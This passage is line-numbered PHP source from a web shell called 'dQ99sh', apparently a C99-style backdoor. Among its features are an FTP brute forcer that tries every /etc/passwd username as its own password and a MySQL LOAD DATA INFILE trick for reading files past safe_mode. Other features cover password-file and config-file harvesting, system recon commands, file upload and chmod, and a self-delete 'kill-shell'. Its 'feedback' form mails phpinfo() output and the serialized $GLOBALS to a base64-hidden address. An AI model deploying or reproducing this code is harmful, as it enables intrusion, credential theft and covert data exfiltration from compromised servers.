996 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
997 echo "</table>";
998 mysql_free_result($result);
999 }
1000 if ($sql_act == "getfile")
1001 {
1002 $tmpdb = $sql_login."_tmpdb";
1003 $select = mysql_select_db($tmpdb);
1004 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1005 if ($select)
1006 {
1007 $created = FALSE;
1008 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1009 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1010 $result = mysql_query("SELECT * FROM tmp_file;");
1011 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1012 else
1013 {
1014 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1015 $f = "";
1016 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1017 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1018 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1019 mysql_free_result($result);
1020 mysql_query("DROP TABLE tmp_file;");
1021 }
1022 }
1023 mysql_drop_db($tmpdb);
1024 }
1025 }
1026 }
1027}
1028echo "</td></tr></table>\n";
1029if ($sql_sock) {
1030 $affected = @mysql_affected_rows($sql_sock);
1031 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1032 echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
1033}
1034echo "</table>\n";
1035}
1036//End of SQL Manager
1037if ($act == "ftpquickbrute") {
1038echo "<center><table><tr><td class=barheader colspan=2>";
1039echo ".: Ftp Quick Brute :.</td></tr>";
1040echo "<tr><td>";
1041if ($win) { echo "Can't run on Windows!"; }
1042else {
1043 function dQ99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
1044 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1045 else {$TRUE = TRUE;}
1046 if ($TRUE) {
1047 $sock = @ftp_connect($host,$port,$timeout);
1048 if (@ftp_login($sock,$login,$pass)) {
1049 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1050 ob_flush();
1051 return TRUE;
1052 }
1053 }
1054 }
1055 if (!empty($submit)) {
1056 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1057 $fp = fopen("/etc/passwd","r");
1058 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1059 else {
1060 if ($fqb_logging) {
1061 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1062 else {$fqb_logfp = FALSE;}
1063 $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1064 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1065 }
1066 ob_flush();
1067 $i = $success = 0;
1068 $ftpquick_st = getmicrotime();
1069 while(!feof($fp)) {
1070 $str = explode(":",fgets($fp,2048));
1071 if (dQ99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1072 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1073 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1074 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1075 $success++;
1076 ob_flush();
1077 }
1078 if ($i > $fqb_lenght) {break;}
1079 $i++;
1080 }
1081 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1082 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1083 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1084 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1085 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1086 if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
1087 fclose($fqb_logfp);
1088 }
1089 }
1090 else {
1091 $logfile = $tmpdir_logs."dQ99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1092 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1093 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
1094 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1095 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1096 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1097 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1098 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1099 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1100 }
1101 echo "</td></tr></table></center>";
1102}
1103}
1104if ($act == "d") {
1105 if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
1106 else {
1107 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1108 if (!$win) {
1109 echo "<tr><td><b>Owner/Group</b></td><td> ";
1110 $ow = posix_getpwuid(fileowner($d));
1111 $gr = posix_getgrgid(filegroup($d));
1112 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1113 }
1114 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
1115 }
1116}
1117if ($act == "phpinfo") {@ob_clean(); phpinfo(); dQ99shexit();}
1118if ($act == "security") {
1119 echo "<div class=barheader>.: Server Security Information :.</div>\n".
1120 "<table>\n".
1121 "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
1122 echo "<td>Password File</td><td>";
1123 if (!$win) {
1124 if ($nixpasswd) {
1125 if ($nixpasswd == 1) {$nixpasswd = 0;}
1126 echo "*nix /etc/passwd:<br>";
1127 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1128 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1129 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
1130 $i = $nixpwd_s;
1131 while ($i < $nixpwd_e) {
1132 $uid = posix_getpwuid($i);
1133 if ($uid) {
1134 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1135 echo join(":",$uid)."<br>";
1136 }
1137 $i++;
1138 }
1139 }
1140 else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
1141 }
1142 else {
1143 $v = $_SERVER["WINDIR"]."\repair\sam";
1144 if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
1145 }
1146 echo "</td></tr>\n";
1147 echo "<tr><td>Config Files</td><td>\n";
1148 if (!$win) {
1149 $v = array(
1150 array("User Domains","/etc/userdomains"),
1151 array("Cpanel Config","/var/cpanel/accounting.log"),
1152 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1153 array("Apache Config","/etc/httpd.conf"),
1154 array("Syslog Config","/etc/syslog.conf"),
1155 array("Message of The Day","/etc/motd"),
1156 array("Hosts","/etc/hosts")
1157 );
1158 $sep = "/";
1159 }
1160 else {
1161 $windir = $_SERVER["WINDIR"];
1162 $etcdir = $windir . "\system32\drivers\etc\\";
1163 $v = array(
1164 array("Hosts",$etcdir."hosts"),
1165 array("Local Network Map",$etcdir."networks"),
1166 array("LM Hosts",$etcdir."lmhosts.sam"),
1167 );
1168 $sep = "\\";
1169 }
1170 foreach ($v as $sec_arr) {
1171 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1172 $sec_d = rtrim($sec_arr[1],$sec_f);
1173 $sec_full = $sec_d.$sec_f;
1174 $sec_d = rtrim($sec_d,$sep);
1175 if (file_get_contents($sec_full)) {
1176 echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
1177 }
1178 }
1179 echo "</td></tr>";
1180
1181 function displaysecinfo($name,$value) {
1182 if (!empty($value)) {
1183 echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
1184 }
1185 }
1186 if (!$win) {
1187 displaysecinfo("OS Version",dQ99exec("cat /proc/version"));
1188 displaysecinfo("Kernel Version",dQ99exec("sysctl -a | grep version"));
1189 displaysecinfo("Distrib Name",dQ99exec("cat /etc/issue.net"));
1190 displaysecinfo("Distrib Name (2)",dQ99exec("cat /etc/*-realise"));
1191 displaysecinfo("CPU Info",dQ99exec("cat /proc/cpuinfo"));
1192 displaysecinfo("RAM",dQ99exec("free -m"));
1193 displaysecinfo("HDD Space",dQ99exec("df -h"));
1194 displaysecinfo("List of Attributes",dQ99exec("lsattr -a"));
1195 displaysecinfo("Mount Options",dQ99exec("cat /etc/fstab"));
1196 displaysecinfo("lynx installed?",dQ99exec("which lynx"));
1197 displaysecinfo("links installed?",dQ99exec("which links"));
1198 displaysecinfo("GET installed?",dQ99exec("which GET"));
1199 displaysecinfo("Where is Apache?",dQ99exec("whereis apache"));
1200 displaysecinfo("Where is perl?",dQ99exec("whereis perl"));
1201 displaysecinfo("Locate proftpd.conf",dQ99exec("locate proftpd.conf"));
1202 displaysecinfo("Locate httpd.conf",dQ99exec("locate httpd.conf"));
1203 displaysecinfo("Locate my.conf",dQ99exec("locate my.conf"));
1204 displaysecinfo("Locate psybnc.conf",dQ99exec("locate psybnc.conf"));
1205 }
1206 else {
1207 displaysecinfo("OS Version",dQ99exec("ver"));
1208 displaysecinfo("Account Settings",dQ99exec("net accounts"));
1209 displaysecinfo("User Accounts",dQ99exec("net user"));
1210 }
1211 echo "</table>\n";
1212}
1213if ($act == "mkfile") {
1214 if ($mkfile != $d) {
1215 if ($overwrite == 0) {
1216 if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1217 }
1218 else {
1219 if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1220 else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
1221 }
1222 }
1223 else { echo "<div class=dQerrmsg>Enter filename!</div>\r\n"; }
1224}
1225if ($act == "encoder") {
1226echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
1227 "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
1228 "<input type=hidden name=act value=encoder>".
1229 "<center><table class=contents>".
1230 "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
1231 "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
1232 "<input type=submit value=\"calculate\"></td></tr>".
1233 "<tr><td rowspan=4>Hashes:</td>";
1234foreach(array("md5","crypt","sha1","crc32") as $v) {
1235 echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
1236}
1237echo "</tr>".
1238 "<tr><td rowspan=2>Url:</td>".
1239 "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
1240 "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
1241 "<tr><td rowspan=2>Base64:</td>".
1242 "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
1243 "<tr><td>base64_decode:</td><td>";
1244if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
1245else {
1246 $debase64 = base64_decode($encoder_input);
1247 $debase64 = str_replace("\0","[0]",$debase64);
1248 $a = explode("\r\n",$debase64);
1249 $rows = count($a);
1250 $debase64 = htmlspecialchars($debase64);
1251 if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
1252 else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
1253 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
1254}
1255echo "</td></tr>".
1256 "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1257$c = strlen($encoder_input);
1258for($i=0;$i<$c;$i++) {
1259 $hex = dechex(ord($encoder_input[$i]));
1260 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1261 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1262}
1263echo "\" readonly></td></tr></table></center></form>";
1264}
1265if ($act == "fsbuff") {
1266 $arr_copy = $sess_data["copy"];
1267 $arr_cut = $sess_data["cut"];
1268 $arr = array_merge($arr_copy,$arr_cut);
1269 if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
1270 else {
1271 $dQ_infohead = "File-System Buffer";
1272 $ls_arr = $arr;
1273 $disp_fullpath = TRUE;
1274 $act = "ls";
1275 }
1276}
1277if ($act == "selfremove") {
1278 if (($submit == $rndcode) and ($submit != "")) {
1279 if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; dQ99shexit(); }
1280 else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
1281 }
1282 else {
1283 if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
1284 $rnd = rand(0,9).rand(0,9).rand(0,9);
1285 echo "<form action=\"".$surl."\">\n".
1286 "<input type=hidden name=act value=selfremove>".
1287 "<input type=hidden name=rndcode value=\"".$rnd."\">".
1288 "<b>Kill-shell: ".__FILE__." <br>".
1289 "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>: <input type=text name=submit> <input type=submit value=\"YES\">\n".
1290 "</form>\n";
1291 }
1292}
1293if ($act == "update") {
1294 $ret = dQ99sh_getupdate(!!$confirmupdate);
1295 echo "<b>".$ret."</b>";
1296 if (stristr($ret,"new version")) {
1297 echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
1298 }
1299}
1300if ($act == "feedback") {
1301 $suppmail = base64_decode("ZGhpZXF3ZWJtYXJrZXJAeWFob28uY29t");
1302 if (!empty($submit)){
1303 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1304 $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1305 if (!empty($fdbk_ref)) {
1306 $tmp = @ob_get_contents();
1307 ob_clean();
1308 phpinfo();
1309 $phpinfo = base64_encode(ob_get_contents());
1310 ob_clean();
1311 echo $tmp;
1312 $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1313 }
1314 mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
1315 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1316 }
1317 else {
1318 echo "<form action=\"".$surl."\" method=POST>".
1319 "<input type=hidden name=act value=feedback>".
1320 "<table class=contents><tr><td class=barheader colspan=2>".
1321 ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
1322 "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
1323 "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
1324 "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
1325 "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
1326 "*Language: English, Indonesian.</td></tr>".
1327 "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1328 "</table>\n";
1329 }
1330}
1331if ($act == "dQmailer") {
1332 if (!empty($submit)){
1333 $headers = 'To: '.$dest_email."\r\n";
1334 $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
1335 if (mail($suppmail,$sender_subj,$sender_body,$header)) {
1336 echo "<center><b>Email sent!</b></center>";
1337 }
1338 else { echo "<center><b>Can't send email!</b></center>"; }
1339 }
1340 else {
1341 echo "<form action=\"".$surl."\" method=POST>".
1342 "<input type=hidden name=act value=dQmailer>".
1343 "<table class=contents><tr><td class=barheader colspan=2>".
1344 ".: $sh_name Mailer :.</td></tr>".
1345 "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
1346 "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
1347 "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
1348 "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
1349 "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
1350 "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1351 "</table>\n";
1352 }
1353}
1354if ($act == "search") {
1355 echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
1356 if (empty($search_in)) {$search_in = $d;}
1357 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1358 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1359 if (!empty($submit)) {
1360 $found = array();
1361 $found_d = 0;
1362 $found_f = 0;
1363 $search_i_f = 0;
1364 $search_i_d = 0;
1365 $a = array(
1366 "name"=>$search_name,
1367 "name_regexp"=>$search_name_regexp,
1368 "text"=>$search_text,
1369 "text_regexp"=>$search_text_regxp,
1370 "text_wwo"=>$search_text_wwo,
1371 "text_cs"=>$search_text_cs,
1372 "text_not"=>$search_text_not
1373 );
1374 $searchtime = getmicrotime();
1375 $in = array_unique(explode(";",$search_in));
1376 foreach($in as $v) {dQ99fsearch($v);}
1377 $searchtime = round(getmicrotime()-$searchtime,4);
1378 if (count($found) == 0) {echo "No files found!";}
1379 else {
1380 $ls_arr = $found;
1381 $disp_fullpath = TRUE;
1382 $act = "ls";
1383 }
1384 }
1385 echo "<table class=contents>".
1386 "<tr><td><form method=POST>".
1387 "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
1388 "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
1389 "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
1390 "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
1391 "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
1392 " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
1393 " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
1394 " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
1395 "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
1396 "</table>\n";
1397 if ($act == "ls") {
1398 $dspact = $act;
1399 echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
1400 "<hr size=\"1\" noshade>";
1401 }
1402}
1403if ($act == "chmod") {
1404 $mode = fileperms($d.$f);
1405 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1406 else {
1407 $form = TRUE;
1408 if ($chmod_submit) {
1409 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1410 if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1411 else {$err = "Can't chmod to ".$octet.".";}
1412 }
1413 if ($form) {
1414 $perms = parse_perms($mode);
1415 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1416 }
1417 }
1418}
1419if ($act == "upload") {
1420 $uploadmess = "";
1421 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1422 if (empty($uploadpath)) {$uploadpath = $d;}
1423 elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
1424 if (!empty($submit)) {
1425 global $_FILES;
1426 $uploadfile = $_FILES["uploadfile"];
1427 if (!empty($uploadfile["tmp_name"])) {
1428 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1429 else {$destin = $userfilename;}
1430 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
1431 $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
1432 }
1433 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1434 }
1435 else { echo "No file to upload!"; }
1436 }
1437 if ($miniform) {
1438 echo "<b>".$uploadmess."</b>";
1439 $act = "ls";
1440 }
1441 else {
1442 echo "<table><tr><td colspan=2 class=barheader>".
1443 ".: File Upload :.</td>".
1444 "<td colspan=2>".$uploadmess."</td></tr>".
1445 "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
1446 "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
1447 "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
1448 "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
1449 "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
1450 "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
1451 "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
1452 "</form></td></tr></table>";
1453 }
1454}
1455if ($act == "delete") {
1456 $delerr = "";
1457 foreach ($actbox as $v) {
1458 $result = FALSE;
1459 $result = fs_rmobj($v);
1460 if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1461 }
1462 if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
1463 $act = "ls";
1464}
1465if (!$usefsbuff) {
1466 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
1467 echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
1468 }
1469}
1470else {
1471 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); dQ99_sess_put($sess_data); $act = "ls"; }
1472 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); dQ99_sess_put($sess_data); $act = "ls";}
1473 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} dQ99_sess_put($sess_data); $act = "ls";}
1474 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); dQ99_sess_put($sess_data);}
1475 elseif ($actpastebuff) {
1476 $psterr = "";
1477 foreach($sess_data["copy"] as $k=>$v) {
1478 $to = $d.basename($v);
1479 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1480 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1481 }
1482 foreach($sess_data["cut"] as $k=>$v) {
1483 $to = $d.basename($v);
1484 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1485 unset($sess_data["cut"][$k]);
1486 }
1487 dQ99_sess_put($sess_data);
1488 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1489 $act = "ls";
1490 }
1491 elseif ($actarcbuff) {
1492 $arcerr = "";
1493 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1494 else {$ext = ".tar.gz";}
